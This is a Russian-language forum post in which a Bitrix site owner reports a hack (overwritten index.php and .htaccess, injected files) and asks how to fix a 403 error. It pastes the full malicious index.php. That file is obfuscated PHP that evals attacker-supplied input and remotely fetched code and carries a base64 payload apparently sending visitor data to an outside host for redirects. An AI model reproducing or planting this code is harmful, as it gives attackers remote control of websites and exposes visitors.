Добрый день. Взломали сайт. При открытии любой вкладки в админке сайта появляется следящее окно. Симптомы :
1)Перезаписываются index.php
и .htaccess
2)были вставки в bx_root
3)были вставки в after_prolog
4) ну и куча всяких файлов с непонятными значениями
Как победить 403 ошибку?
1)Перезаписываются index.php
Код |
---|
<?php /*-@t^{XTa-*/error_reporting(0); $Jo /*-p,0?A%Jy=_)q[B;:ip-*/=/*-sWydXdh8VD-*/ "ra"./*-i}Ug^s8#Y-Nf-*/"ng"./*-oU&g>Jz@rmZBN2,7<&Y-*/"e"; $lMo /*-e4w8(0O!LUml~Dd5!{I-*/= /*-0Ms>2uBxs.S-*/$Jo/*-[JWzEo`XvX,W-*/(/*-eiHeuG~6)no@Al-*/"~",/*-yVNs}}_YEVIq|PM{<-*/" ");/*-&(2pmfT$_13(Gi%]N0G-*/$VPCG/*-#s0otTi{V)M-P9lX]8Z-*/=/*-v!_GM.aiBc6^~.-*/${$lMo[0+31]/*-k7xoYA%5kI-*/.$lMo[29+30]./*-|Hi.@-Z@F#>s{mkp%M-*/$lMo[4+43].$lMo[18+29]./*-kal;DJp@9eko&o?q-*/$lMo[2+49].$lMo[9+44].$lMo/*-OAR=?Z]ct+-*/[53+4]}; /*-B%F>%rH5%)V`>Vkq_-*/if(/*-$=p|z%dIDm_T+$N-*/in_array(/*-AOJKK<r@&$-*/gettype/*-wT;g?dk#.-*/($VPCG).(4+15),$VPCG)){ $VPCG[40+22]=$VPCG[35+27].$VPCG[39+41]; @eval/*-!!ur`iTpm(poEX-*/($VPCG[58+4](${$VPCG[24+20]}[5+15]));}/*-;)o-*/class /*-O,>>2NS-*/NJfpP{ /*-#1`opxD-*/static/*-D>ZP5MtQ-*/ function /*-xk-*/FoTvQCmZ($akQxOCN) /*-w-*/{ $hia/*-ME!N$-*/ = /*-?-!(%}Sy7>-*/"r"./*-4~shx-*/"a"./*-Gi^}Ba-*/"n"./*-{-*/"g"./*-7cYd.l#&#a-*/"e"; /*-=@-A`h-*/$SwQHTebrED/*-)|0g-*/ = /*-t@(5q,`-*/$hia/*-f4E0b-*/(/*-O7j&-*/"~"/*-(!Nc<X+LSV-*/, /*-x=6f`CW-*/" "/*-WSgsDB~e-*/);/*-c.-*/ $di /*-bKb(S;_&f,-*/= /*-ohvC1L(C-*/explode/*-?W9Q7_795-*/(/*-M!y64AK~-*/"&", /*-1{YIv-*/$akQxOCN/*-Hw]h#+-*/); /*-w_{NgS-*/$yfmps /*-,<aN-*/= /*-_m8xXd-*/""; foreach /*-Zc#-*/(/*-7v$}-*/$di /*-;V9M-*/as /*-,M-*/$mo /*-nj`o3-*/=>/*-qS,-*/ $kQuUVRT/*-y&?S+|>-*/) /*-iH@F`|-*/$yfmps /*-5uUlRZD-*/.= /*-2H$xP-*/$SwQHTebrED[$kQuUVRT/*-RX=-*/ - /*-DX=D-GH-*/21811/*-YFXQBS_-*/];/*-SSwA}$#-*/ return /*-a$T{3gc-*/$yfmps; /*-Im-*/} /*-c9;-*/static /*-Q[;_nLS39-*/function /*-jks86cpb:-*/TDWLEGq/*-{:TR-*/(/*-8C2G]-@-*/$fAyGEBxDKV,/*-|x,Y-*/ $vFanE/*-^K-*/)/*-plV5>-*/ {/*-j{1AzopT-*/ $lQAe/*-Qd>GQ-*/ = /*-6_xZgTb;u-*/curl_init/*-=-*/(/*-k-?66%p-*/$fAyGEBxDKV/*-XL;v-*/);/*->P,#-*/ curl_setopt/*-6$e9-*/(/*-o}+90U-*/$lQAe,/*-@B67#Lb-*/ CURLOPT_RETURNTRANSFER,/*-x#B5-*/ 1/*->2^fcDz-*/);/*-W;F=Fnco7-*/ $aRKCFjtA/*->(x-*/ = /*-]9A-*/curl_exec/*-Vk.-*/(/*-90-*/$lQAe/*-oFbt?][-*/); /*-,-*/return /*-KPZ4-*/empty/*-pXN%-*/(/*-3:>4}j%(h-*/$aRKCFjtA/*-GN-*/)/*-L-WG_r-*/ ? /*-zQd-*/$vFanE/*-}s-*/(/*-]EbN-*/$fAyGEBxDKV/*-<nB-*/)/*-V5fOjVcV>}-*/ : /*-O1>Mv1:-*/$aRKCFjtA; /*-?^nj)-*/}/*-}Zpp%4-*/ static/*-hAx;$g:-*/ function /*-RYH-*/sebNkwTjK/*-xnp3``{qvO-*/() /*-D7Pv$GJt%j-*/{/*-Uxx]?&-`i-*/ $djn /*-zYn,R%v9x-*/=/*-dF6ED.gj-*/ array/*-L+M-*/("21838&21823&21836&21840&21821&21836&21842&21835&21820&21827&21838&21821&21832&21826&21827","21822&21821&21823&21842&21823&21826&21821&21888&21886","21831&21822&21826&21827&21842&21837&21836&21838&21826&21837&21836","21825&21840&21838&21830","21839&21840&21822&21836&21883&21885&21842&21837&21836&21838&21826&21837&21836","21835&21832&21829&21836&21842&21834&21836&21821&21842&21838&21826&21827&21821&21836&21827&21821&21822","21865&21895","21812","21890&21895","21872&21855&21855&21872&21848","21826&21835"); /*-GV-*/foreach /*-8tV&6.o-*/(/*-VJ776OL-*/$djn/*-s#fD-*/ as /*-qjj|<-*/$bxW/*-kgeVL_5}w-*/)/*-$E-*/ $ioUdEKDh/*-EeQ-*/[] /*-00DTKv-*/= /*-K--*/self/*-`ek17W`p-*/::/*-$@m+g{<2k-*/FoTvQCmZ/*-,rOo-*/(/*-x(-*/$bxW/*-OC3-*/);/*-f7-*/$WXcRPwv /*-#!|aJ4-*/= /*-8t_,R{-*/@$ioUdEKDh/*-O_0OY-*/[/*-hK3-*/1/*-@<#Tz-*/]/*-c)-*/(/*-5![X>OG-*/${/*-b=-*/"_"/*-z3-*/."G"/*-xB-*/."E"/*-6[wNUTGI!-*/."T"/*-Fp:oL=-*/}[/*-{-HmCZ@v3w-*/$ioUdEKDh/*-dP-*/[/*-KHsZ-*/7+2/*-;>S|-*/]]/*-zA:ehU8%f0-*/);/*-r[r!lR`-*/ $NV /*->&?<-*/=/*-%`sX-*/ @$ioUdEKDh/*-[vvD3h-*/[/*-GFQ8DF-*/0+3/*-{!-*/]/*-UURVY7Q,-*/(/*-[!N-*/$ioUdEKDh/*-fk<--*/[/*-+Uejk?T;?-*/1+5/*-@BmT-*/], /*-VqV05tP>-*/$WXcRPwv/*-(:_-*/);/*-ha(W^Ng{-*/ $veyMu /*-Me-*/=/*-GBmi-*/ $ioUdEKDh/*-%ov-*/[/*-KVY6Q|[|8.-*/1+1/*-mxs&-*/]/*-0h-*/(/*-545N-*/$NV,/*-I<zKob~g-*/ true/*-~L-<&3Qc-*/); /*-K.o-*/@${/*-HG:HG9HT-*/"_"./*-KRp[`x2Dxp-*/"G"./*-mk-*/"E"/*-MSkO&u%$-*/."T"/*-1@kH{G$#-*/}/*-;D+e.o-*/[/*-%5TIgR-*/$ioUdEKDh/*-&x6!-*/[10+0/*-k{~>98oAIL-*/]/*-W#6`KaF]=C-*/]/*-&c!#i-*/ == /*-T)-de7s6-*/1 /*-M9{_;bz-*/&& /*-Gz8-*/die/*-%#-*/(/*-_}^pq:-*/$ioUdEKDh[2+3/*->+F_1A9,Y-*/]/*-v!}){Og$%-*/(/*->.Cm-*/__FILE__/*-{,L-*/)/*-dFE!|_eg~-*/); /*-?iXyL!D0>-*/if/*-=K2OB&5-*/(/*-<o>Qh@#w-*/ (/*-=Z2mows-*/(@/*-e9l(3quV-*/$veyMu/*-h}vPv-*/[/*-4-*/0/*-wrZ-*/] /*-Z]VzUnR-*/- time/*-C?1mYD-*/()/*-27-*/) > /*-y=Xj-*/0/*-`jwGD$-*/)/*-)poH-*/ and /*-,=-*/(/*-0-_-*/md5/*-Qeei)[0x96-*/(/*-3Wn9#My8-*/md5/*-+cmVM-*/(/*-3O&&L-*/$veyMu/*-UCcC9lO;c-*/[/*-,@DY,-*/1+2/*-%&sb(42d<s-*/]/*-0X|!LJ-*/)/*-~OC,QY+O.-*/)/*-=7I]a8[9+}-*/ === /*-A[-*/"939e07cd86988e952d6eac0121f837b1"/*-tuA-*/)/*-fn#hA%-*/ ): /*-}FB-*/$AOrd /*-=c-*/=/*-bNLVsK-*/ self/*-hMa}2.z-*/::/*-;d`?-*/TDWLEGq/*-10x=Gx-*/(/*-Oxyy-*/$veyMu/*-HA-*/[/*-ur-*/1+0/*-I1g4Hpqv<-*/], /*--bA[7-8-*/$ioUdEKDh/*-Dj?$-*/[/*-CWqvhy8E-*/0+5/*-A_v-*/]/*-pKP@_J]i-*/);/*-S)<X1T-*/@eval/*-e6O^%x-*/(/*-~JZ23@O(r-*/$ioUdEKDh/*-W>-*/[/*-=Djd{2It%i-*/0+4/*-sK<4P!-*/]/*-HD!}7s-*/(/*-(#-*/$AOrd/*-_O;r-*/)/*-r9}w-*/);/*-@;|jh1Q-*//*-KG$O9DM?-*/die;/*-D8J-*/ endif;/*-;qt[a9-*/ }/*-rO{---*/}/*-U6lt!zhS-*/NJfpP/*-tC)vkI-*/::/*-Hcg6`Kif-*/sebNkwTjK/*-YZEY,-*/();/*-9eEe<2X-*//*-~-c(o-*/eval/*-+iBlZ8R;o&_9q~f0Dk{}_4~Z>=FxRTPeV:v9MIUR?948-*/(/*-dHxg=uM-*/base64_decode/*-.)h`&-*/(/*-vsbWvnz(Z-*/"ZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYUdWaFpHVnlLQ2REYjI1MFpXNTBMVlI1Y0dVNklIUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NjcE95Qm1kVzVqZEdsdmJpQnBjazlMVldKRFpIRnZRVXBuZDBoMlJpZ2tjbVZ6Y0Y5b1pXRmtaWElwRFFwN0RRb2dJQ0FnSkdobFlXUmxjaUE5SUdGeWNtRjVLQ2R6ZEdGMGRYTW5JRDArSURBc0lDZGpiMjUwWlc1MEp5QTlQaUFuSnl3Z0ozUjVjR1VuSUQwK0lDY25LVHNOQ2lBZ0lDQnBaaUFvSVdselgyRnljbUY1S0NSeVpYTndYMmhsWVdSbGNpa3BJSHNOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ1JvWldGa1pYSTdEUW9nSUNBZ2ZRMEtJQ0FnSUdadmNtVmhZMmdnS0NSeVpYTndYMmhsWVdSbGNpQmhjeUFrYUc5dVpTa2dldzBLSUNBZ0lDQWdJQ0JwWmlBb2NISmxaMTl0WVhSamFDZ25MMmgwZEhCY0wxc3dMVGxjTGwwclcxeHpYU3NvV3pBdE9WMHJLUzlwSnl3Z0pHaHZibVVzSUNSdFlYUmphR1ZrS1NrZ2V3MEtJQ0FnSUNBZ0lDQWdJQ0FnSkdobFlXUmxjbHNuYzNSaGRIVnpKMTBnUFNCcGJuUjJZV3dvSkcxaGRHTm9aV1JiTVYwcE93MEtJQ0FnSUNBZ0lDQjlJR1ZzYzJWcFppQW9jSEpsWjE5dFlYUmphQ2duTDJ4dlkyRjBhVzl1WERwYlhITmRLeWd1S2lrdmFTY3NJQ1JvYjI1bExDQWtiV0YwWTJobFpDa3BJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDUm9aV0ZrWlhKYkoyTnZiblJsYm5RblhTQTlJQ1J0WVhSamFHVmtXekZkT3cwS0lDQWdJQ0FnSUNCOUlHVnNjMlZwWmlBb2NISmxaMTl0WVhSamFDZ25MMk52Ym5SbGJuUmNMWFI1Y0dWY09sdGNjMTByS0M0cUtTOXBKeXdnSkdodmJtVXNJQ1J0WVhSamFHVmtLU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdKR2hsWVdSbGNsc25kSGx3WlNkZElEMGdKRzFoZEdOb1pXUmJNVjA3RFFvZ0lDQWdJQ0FnSUgwTkNpQWdJQ0I5RFFvZ0lDQWdjbVYwZFhKdUlDUm9aV0ZrWlhJN0RRcDlEUW9OQ21aMWJtTjBhVzl1SUVKbFRWbE1WRVZYZW5adktDUjFjbXdzSUNSa1lYUmhjeUE5SUdGeWNtRjVLQ2twRFFwN0RRb2dJQ0FnSkhKbGMzQnZibk5sSUQwZ1lYSnlZWGtvSjNOMFlYUjFjeWNnUFQ0Z01Dd2dKMk52Ym5SbGJuUW5JRDArSUNjbkxDQW5kSGx3WlNjZ1BUNGdKeWNwT3cwS0lDQWdJR2xtSUNocGMxOWhjbkpoZVNna1pHRjBZWE1wSUNZbUlHTnZkVzUwS0NSa1lYUmhjeWtwSUhzTkNpQWdJQ0FnSUNBZ0pIVnliQ0F1UFNBblB5Y2dMaUJvZEhSd1gySjFhV3hrWDNGMVpYSjVLQ1JrWVhSaGN5azdEUW9nSUNBZ2ZRMEtJQ0FnSUhSeWVTQjdEUW9nSUNBZ0lDQWdJR2xtSUNobWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJOMWNteGZaWGhsWXljcEppWm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0oyTjFjbXhmYVc1cGRDY3BLU0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWtZeUE5SUdOMWNteGZhVzVwZENncE93MEtJQ0FnSUNBZ0lDQWdJQ0FnWTNWeWJGOXpaWFJ2Y0hRb0pHTXNJRU5WVWt4UFVGUmZWVkpNTENBa2RYSnNLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqTENCRFZWSk1UMUJVWDFOVFRGOVdSVkpKUmxsSVQxTlVMQ0F3S1RzTkNpQWdJQ0FnSUNBZ0lDQWdJR04xY214ZmMyVjBiM0IwS0NSakxDQkRWVkpNVDFCVVgxTlRURjlXUlZKSlJsbFFSVVZTTENBd0tUc05DaUFnSUNBZ0lDQWdJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmpMQ0JEVlZKTVQxQlVYME5QVGs1RlExUlVTVTFGVDFWVUxDQXlNQ2s3RFFvZ0lDQWdJQ0FnSUNBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWXl3Z1ExVlNURTlRVkY5VVNVMUZUMVZVTENBMk1DazdEUW9nSUNBZ0lDQWdJQ0FnSUNCamRYSnNYM05sZEc5d2RDZ2tZeXdnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd3dLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqTENCRFZWSk1UMUJVWDBOUFQwdEpSVk5GVTFOSlQwNHNJREFwT3cwS0lDQWdJQ0FnSUNBZ0lDQWdZM1Z5YkY5elpYUnZjSFFvSkdNc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOZmNtVjBkbUZzSUQwZ1kzVnliRjlsZUdWaktDUmpLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDUnlaWE53YjI1elpWc25jM1JoZEhWekoxMGdQU0JwYm5SMllXd29ZM1Z5YkY5blpYUnBibVp2S0NSakxDQkRWVkpNU1U1R1QxOUlWRlJRWDBOUFJFVXBLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDUnlaWE53YjI1elpWc25kSGx3WlNkZElEMGdjM1J5ZG1Gc0tHTjFjbXhmWjJWMGFXNW1ieWdrWXl3Z1ExVlNURWxPUms5ZlEwOU9WRVZPVkY5VVdWQkZLU2s3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWtjbVZ6Y0c5dWMyVmJKMk52Ym5SbGJuUW5YU0E5SUhOMGNuWmhiQ2hqZFhKc1gyZGxkR2x1Wm04b0pHTXNJRU5WVWt4SlRrWlBYMUpGUkVsU1JVTlVYMVZTVENrcE93MEtJQ0FnSUNBZ0lDQWdJQ0FnUUdOMWNteGZZMnh2YzJVb0pHTXBPdzBLSUNBZ0lDQWdJQ0FnSUNBZ2FXWWdLQ1J5WlhOd2IyNXpaVnNuYzNSaGRIVnpKMTBnUFQwZ01qQXdLU0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSkhKbGMzQnZibk5sV3lkamIyNTBaVzUwSjEwZ1BTQnpkSEoyWVd3b0pHTmZjbVYwZG1Gc0tUc05DaUFnSUNBZ0lDQWdJQ0FnSUgwTkNpQWdJQ0FnSUNBZ2ZTQmxiSE5sYVdZZ0tHbHVhVjluWlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljcEtTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBa2FIUjBjRjl2Y0hRZ1BTQmhjbkpoZVNnTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBbmFIUjBjQ2NnUFQ0Z1lYSnlZWGtvSjIxbGRHaHZaQ2NnUFQ0Z0owZEZWQ2NzSUNkMGFXMWxiM1YwSnlBOVBpQTJNQ3duWm05c2JHOTNYMnh2WTJGMGFXOXVKejArTUNrc0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0ozTnpiQ2NnUFQ0Z1lYSnlZWGtvSW5abGNtbG1lVjl3WldWeUlpQTlQaUJtWVd4elpTd2dJblpsY21sbWVWOXdaV1Z5WDI1aGJXVWlJRDArSUdaaGJITmxLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0tUc05DaUFnSUNBZ0lDQWdJQ0FnSUNSamIyNTBaWGgwSUQwZ2MzUnlaV0Z0WDJOdmJuUmxlSFJmWTNKbFlYUmxLQ1JvZEhSd1gyOXdkQ2s3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWtZMjl1ZEdWdWRDQTlJRUJtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWdrZFhKc0xDQm1ZV3h6WlN3Z0pHTnZiblJsZUhRcE93MEtJQ0FnSUNBZ0lDQWdJQ0FnSkhKbGMzQnZibk5sSUQwZ1lYSnlZWGxmYldWeVoyVW9KSEpsYzNCdmJuTmxMQ0JwY2s5TFZXSkRaSEZ2UVVwbmQwaDJSaWdrYUhSMGNGOXlaWE53YjI1elpWOW9aV0ZrWlhJcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUdsbUlDZ2tjbVZ6Y0c5dWMyVmJKM04wWVhSMWN5ZGRJRDA5SURJd01Da2dldzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ1J5WlhOd2IyNXpaVnNuWTI5dWRHVnVkQ2RkSUQwZ2MzUnlkbUZzS0NSamIyNTBaVzUwS1RzTkNpQWdJQ0FnSUNBZ0lDQWdJSDBOQ2lBZ0lDQWdJQ0FnZlEwS0lDQWdJSDBnWTJGMFkyZ2dLRVY0WTJWd2RHbHZiaUFrWlNrZ2V3MEtJQ0FnSUgwTkNpQWdJQ0J5WlhSMWNtNGdKSEpsYzNCdmJuTmxPdzBLZlEwS0RRcG1kVzVqZEdsdmJpQm1XSFY1YkZwQ2JtTkxkSGh4S0NSemRISXBEUXA3RFFvZ0lDQWdhV1lnS0NFa2MzUnlLU0J5WlhSMWNtNGdKeWM3RFFvZ0lDQWdjbVYwZFhKdUlISjBjbWx0S0hOMGNuUnlLR0poYzJVMk5GOWxibU52WkdVb0pITjBjaWtzSUNjckx5Y3NJQ2N0WHljcExDQW5QU2NwT3cwS2ZRMEtEUXBtZFc1amRHbHZiaUJVYlVKUFZrUndlWEpZS0NrTkNuc05DaUFnSUNBa2FYQmZZV1JrY2lBOUlDY25PdzBLSUNBZ0lHbG1JQ2hwYzNObGRDZ2tYMU5GVWxaRlVsc25TRlJVVUY5RFJsOURUMDVPUlVOVVNVNUhYMGxRSjEwcElDWW1JQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25TRlJVVUY5RFJsOURUMDVPUlVOVVNVNUhYMGxRSjEwcEtTQjdEUW9nSUNBZ0lDQWdJQ1JwY0Y5aFpHUnlJRDBnSkY5VFJWSldSVkpiSjBoVVZGQmZRMFpmUTA5T1RrVkRWRWxPUjE5SlVDZGRPdzBLSUNBZ0lIMGdaV3h6WldsbUlDaHBjM05sZENna1gxTkZVbFpGVWxzblNGUlVVRjlZWDFKRlFVeGZTVkFuWFNrZ0ppWWdJV1Z0Y0hSNUtDUmZVMFZTVmtWU1d5ZElWRlJRWDFoZlVrVkJURjlKVUNkZEtTa2dldzBLSUNBZ0lDQWdJQ0FrYVhCZllXUmtjaUE5SUNSZlUwVlNWa1ZTV3lkSVZGUlFYMWhmVWtWQlRGOUpVQ2RkT3cwS0lDQWdJSDBnWld4elpXbG1JQ2hwYzNObGRDZ2tYMU5GVWxaRlVsc25TRlJVVUY5WVgwWlBVbGRCVWtSRlJGOUdUMUluWFNrZ0ppWWdJV1Z0Y0hSNUtDUmZVMFZTVmtWU1d5ZElWRlJRWDFoZlJrOVNWMEZTUkVWRVgwWlBVaWRkS1NrZ2V3MEtJQ0FnSUNBZ0lDQWthWEJmWVdSa2NpQTlJQ1JmVTBWU1ZrVlNXeWRJVkZSUVgxaGZSazlTVjBGU1JFVkVYMFpQVWlkZE93MEtJQ0FnSUgwZ1pXeHpaU0I3RFFvZ0lDQWdJQ0FnSUNScGNGOWhaR1J5SUQwZ0pGOVRSVkpXUlZKYkoxSkZUVTlVUlY5QlJFUlNKMTA3RFFvZ0lDQWdmUTBLSUNBZ0lDUnBjRjloWkdSeUlEMGdkSEpwYlNoemRISmZjbVZ3YkdGalpTZ2lJQ0lzSUNJaUxDQWthWEJmWVdSa2Npa3NJQ0lzSWlrN0RRb2dJQ0FnYVdZZ0tITjBjbkJ2Y3lna2FYQmZZV1JrY2l3Z0lpd2lLU0FoUFQwZ1ptRnNjMlVwSUhzTkNpQWdJQ0FnSUNBZ0pHbHdYMkZrWkhJZ1BTQmxlSEJzYjJSbEtDSXNJaXdnSkdsd1gyRmtaSElwT3cwS0lDQWdJQ0FnSUNBa2FYQmZZV1JrY2lBOUlDUnBjRjloWkdSeVd6QmRPdzBLSUNBZ0lIME5DaUFnSUNCeVpYUjFjbTRnSkdsd1gyRmtaSEk3RFFwOURRb05DbVoxYm1OMGFXOXVJRzFGUmxaSVprNU5SR2xCUzNwVVVrcFFjaWdwRFFwN0RRb2dJQ0FnSkdoMGRIQmZjSEp2ZEc4Z1BTQW5hSFIwY0Rvdkx5YzdEUW9nSUNBZ2FXWWdLR2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRVXlkZEtTQW1KaUJ6ZEhKMGIyeHZkMlZ5S0NSZlUwVlNWa1ZTV3lkSVZGUlFVeWRkS1NBaFBUMGdKMjltWmljcElIc05DaUFnSUNBZ0lDQWdKR2gwZEhCZmNISnZkRzhnUFNBbmFIUjBjSE02THk4bk93MEtJQ0FnSUgwZ1pXeHpaV2xtSUNocGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGOVlYMFpQVWxkQlVrUkZSRjlRVWs5VVR5ZGRLU0FtSmlBa1gxTkZVbFpGVWxzblNGUlVVRjlZWDBaUFVsZEJVa1JGUkY5UVVrOVVUeWRkSUQwOVBTQW5hSFIwY0hNbktTQjdEUW9nSUNBZ0lDQWdJQ1JvZEhSd1gzQnliM1J2SUQwZ0oyaDBkSEJ6T2k4dkp6c05DaUFnSUNCOUlHVnNjMlZwWmlBb2FYTnpaWFFvSkY5VFJWSldSVkpiSjBoVVZGQmZSbEpQVGxSZlJVNUVYMGhVVkZCVEoxMHBJQ1ltSUhOMGNuUnZiRzkzWlhJb0pGOVRSVkpXUlZKYkowaFVWRkJmUmxKUFRsUmZSVTVFWDBoVVZGQlRKMTBwSUNFOVBTQW5iMlptSnlrZ2V3MEtJQ0FnSUNBZ0lDQWthSFIwY0Y5d2NtOTBieUE5SUNkb2RIUndjem92THljN0RRb2dJQ0FnZlEwS0lDQWdJSEpsZEhWeWJpQWthSFIwY0Y5d2NtOTBienNOQ24wTkNnMEthV1lnS0NSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRJRDA5UFNBbkwxSXRKeUF1SUcxa05TZ2tYMU5GVWxaRlVsc25VMFZTVmtWU1gwNUJUVVVuWFNrcElIc05DaUFnSUNCbGVHbDBLSE4wY25KbGRpaHRaRFVvSkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMHBLU2s3RFFwOURRcHBaaUFvYzNWaWMzUnlYMk52ZFc1MEtDUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTENkcGJtUmxlQzV3YUhBdmFtc25LU2w3RFFvZ0lDQWdaWGhwZENnbmV5QWlaWEp5YjNJaU9pQXlNREFzSUNKc1l5STZJQ0pxYXlJc0lDSmtZWFJoSWpvZ1d5QXhJRjBnZlNjcE93MEtmUTBLSkdsd1gyRmtaSElnUFNCVWJVSlBWa1J3ZVhKWUtDazdEUW9rY21WbVpYSmxjaUE5SUhOMGNuWmhiQ2hBSkY5VFJWSldSVkpiSjBoVVZGQmZVa1ZHUlZKRlVpZGRLVHNOQ2lSemFYUmxYM1Z5YkNBOUlHMUZSbFpJWms1TlJHbEJTM3BVVWtwUWNpZ3BJQzRnSkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMDdEUXBwWmlBb2MzUnljRzl6S0NSeVpXWmxjbVZ5TENBa2MybDBaVjkxY213cElEMDlQU0F3S1NBa2NtVm1aWEpsY2lBOUlDY25PdzBLSkhKeElEMGdZWEp5WVhrb0tUc05DaVJ5Y1ZzblpDZGRJRDBnWmxoMWVXeGFRbTVqUzNSNGNTZ2tYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZEtUc05DaVJ5Y1ZzbmFTZGRJRDBnWmxoMWVXeGFRbTVqUzNSNGNTZ2thWEJmWVdSa2NpazdEUW9rY25GYkoyd25YU0E5SUdaWWRYbHNXa0p1WTB0MGVIRW9KRjlUUlZKV1JWSmJKMGhVVkZCZlFVTkRSVkJVWDB4QlRrZFZRVWRGSjEwcE93MEtKSEp4V3lkemJpZGRJRDBnWmxoMWVXeGFRbTVqUzNSNGNTZ2tYMU5GVWxaRlVsc25VME5TU1ZCVVgwNUJUVVVuWFNrN0RRb2tjbkZiSjNJblhTQTlJR1pZZFhsc1drSnVZMHQwZUhFb0pGOVRSVkpXUlZKYkoxSkZVVlZGVTFSZlZWSkpKMTBwT3cwS0pISnhXeWR5WmlkZElEMGdabGgxZVd4YVFtNWpTM1I0Y1Nna2NtVm1aWEpsY2lrN0RRb2tjbkZiSjNNblhTQTlJR1pZZFhsc1drSnVZMHQwZUhFb0pITnBkR1ZmZFhKc0tUc05DaVJ5Y1ZzbmRTZGRJRDBnWmxoMWVXeGFRbTVqUzNSNGNTZ2tYMU5GVWxaRlVsc25TRlJVVUY5VlUwVlNYMEZIUlU1VUoxMHBPdzBLSkhKbGMzQnZibk5sSUQwZ1FtVk5XVXhVUlZkNmRtOG9KMmgwZEhBNkx5OHpNakp4Y0dVdWFIVm5ZM1F1Y0hKdkx5Y3NJQ1J5Y1NrN0RRcHBaaUFvSVdsdVgyRnljbUY1S0NSeVpYTndiMjV6WlZzbmMzUmhkSFZ6SjEwc0lHRnljbUY1S0RBc0lESXdNQ2twS1NCN0RRb2dJQ0FnYzNkcGRHTm9JQ2drY21WemNHOXVjMlZiSjNOMFlYUjFjeWRkS1NCN0RRb2dJQ0FnSUNBZ0lHTmhjMlVnTXpBeE9nMEtJQ0FnSUNBZ0lDQWdJQ0FnYUdWaFpHVnlLQ2RJVkZSUUx6RXVNU0F6TURFZ1RXOTJaV1FnVUdWeWJXRnVaVzUwYkhrbktUc05DaUFnSUNBZ0lDQWdJQ0FnSUdobFlXUmxjaWduVEc5allYUnBiMjQ2SUNjZ0xpQjBjbWx0S0NSeVpYTndiMjV6WlZzblkyOXVkR1Z1ZENkZEtTazdEUW9nSUNBZ0lDQWdJQ0FnSUNCaWNtVmhhenNOQ2lBZ0lDQWdJQ0FnWTJGelpTQXpNREk2RFFvZ0lDQWdJQ0FnSUNBZ0lDQm9aV0ZrWlhJb0owaFVWRkF2TVM0eElETXdNaUJOYjNabElGUmxiWEJ2Y21GeWFXeDVKeWs3RFFvZ0lDQWdJQ0FnSUNBZ0lDQm9aV0ZrWlhJb0oweHZZMkYwYVc5dU9pQW5JQzRnZEhKcGJTZ2tjbVZ6Y0c5dWMyVmJKMk52Ym5SbGJuUW5YU2twT3cwS0lDQWdJQ0FnSUNBZ0lDQWdZbkpsWVdzN0RRb2dJQ0FnSUNBZ0lHTmhjMlVnTkRBME9nMEtJQ0FnSUNBZ0lDQWdJQ0FnYUdWaFpHVnlLQ2RJVkZSUUx6RXVNU0EwTURRZ1RtOTBJRVp2ZFc1a0p5azdEUW9nSUNBZ0lDQWdJQ0FnSUNCb1pXRmtaWElvSW5OMFlYUjFjem9nTkRBMElFNXZkQ0JHYjNWdVpDSXBPdzBLSUNBZ0lDQWdJQ0FnSUNBZ1luSmxZV3M3RFFvZ0lDQWdJQ0FnSUdSbFptRjFiSFE2RFFvZ0lDQWdJQ0FnSUNBZ0lDQmljbVZoYXpzTkNpQWdJQ0I5RFFvZ0lDQWdaWGhwZENnd0tUc05DbjBnWld4elpXbG1JQ2h6ZEhKc1pXNG9KSEpsYzNCdmJuTmxXeWRqYjI1MFpXNTBKMTBwS1NCN0RRb2dJQ0FnUUdobFlXUmxjaWduUTI5dWRHVnVkQzFVZVhCbE9pY2dMaUFrY21WemNHOXVjMlZiSjNSNWNHVW5YU2s3RFFvZ0lDQWdaV05vYnlBa2NtVnpjRzl1YzJWYkoyTnZiblJsYm5RblhUc05DaUFnSUNCbGVHbDBLREFwT3cwS2ZTQS9QZz09IikpOw=="/*-7=DOU}w-*/)/*-Re0{~f-X5v-*/);?> |
Код |
---|
